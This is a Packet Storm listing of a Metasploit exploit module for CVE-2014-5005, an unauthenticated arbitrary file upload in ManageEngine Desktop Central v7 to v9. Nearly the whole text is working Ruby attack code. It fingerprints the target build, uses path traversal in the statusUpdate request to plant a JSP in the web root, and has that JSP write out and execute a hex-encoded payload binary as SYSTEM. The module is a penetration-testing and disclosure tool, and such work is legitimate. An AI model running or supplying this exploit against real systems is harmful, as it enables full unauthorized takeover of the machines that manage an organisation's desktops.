ManageEngine Desktop Central StatusUpdate Arbitrary File Upload

2014-09-08T00:00:00
ID PACKETSTORM:128194
Type packetstorm
Reporter Pedro Ribeiro
Modified 2014-09-08T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral  
v7 to v9 build 90054 (including the MSP versions).  
A malicious user can upload a JSP file into the web root without authentication, leading to  
arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as  
they do not ship with a bundled Java compiler.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-5005'],  
['OSVDB', '110643'],  
['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt']  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
[ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 31 2014'  
))  
  
register_options([Opt::RPORT(8020)], self.class)  
end  
  
  
# Test for Desktop Central  
def check  
res = send_request_cgi({  
'uri' => normalize_uri("configurations.do"),  
'method' => 'GET'  
})  
  
if res && res.code == 200  
build = nil  
  
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||  
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7  
  
print_status("#{peer} - Detected Desktop Central v7")  
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||  
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/  
  
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)  
build = $1  
print_status("#{peer} - Detected Desktop Central v8 #{build}")  
else # DC v8 (earlier versions)  
print_status("#{peer} - Detected Desktop Central v8")  
end  
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)  
build = $1  
end  
  
if build.nil?  
return Exploit::CheckCode::Unknown  
elsif Gem::Version.new(build) < Gem::Version.new("90055")  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Uploading JSP to execute the payload")  
  
exe = payload.encoded_exe  
exe_filename = rand_text_alpha_lower(8) + ".exe"  
  
jsp_payload = jsp_drop_and_execute(exe, exe_filename)  
jsp_name = rand_text_alpha_lower(8) + ".jsp"  
  
send_request_cgi({  
'uri' => normalize_uri('statusUpdate'),  
'method' => 'POST',  
'data' => jsp_payload,  
'ctype' => 'text/html',  
'vars_get' => {  
'actionToCall' => 'LFU',  
'configDataID' => '1',  
'customerId' => rand_text_numeric(4),  
'fileName' => '../' * 6 << jsp_name  
}  
})  
# We could check for HTTP 200 and a "success" string.  
# However only some later v8 and v9 versions return this; and we don't really care  
# and do a GET to the file we just uploaded anyway.  
  
register_files_for_cleanup(exe_filename)  
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")  
  
print_status("#{peer} - Executing payload")  
send_request_cgi(  
{  
'uri' => normalize_uri(jsp_name),  
'method' => 'GET'  
})  
end  
  
  
def jsp_drop_bin(bin_data, output_file)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|  
  
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|  
  
jspraw << %Q|int numbytes = data.length();\n|  
  
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|  
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|  
jspraw << %Q|{\n|  
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|  
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|  
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|  
jspraw << %Q| comb <<= 4;\n|  
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|  
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|  
jspraw << %Q|}\n|  
  
jspraw << %Q|outputstream.write(bytes);\n|  
jspraw << %Q|outputstream.close();\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
  
def jsp_execute_command(command)  
jspraw = %Q|\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
  
def jsp_drop_and_execute(bin_data, output_file)  
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)  
end  
end  
`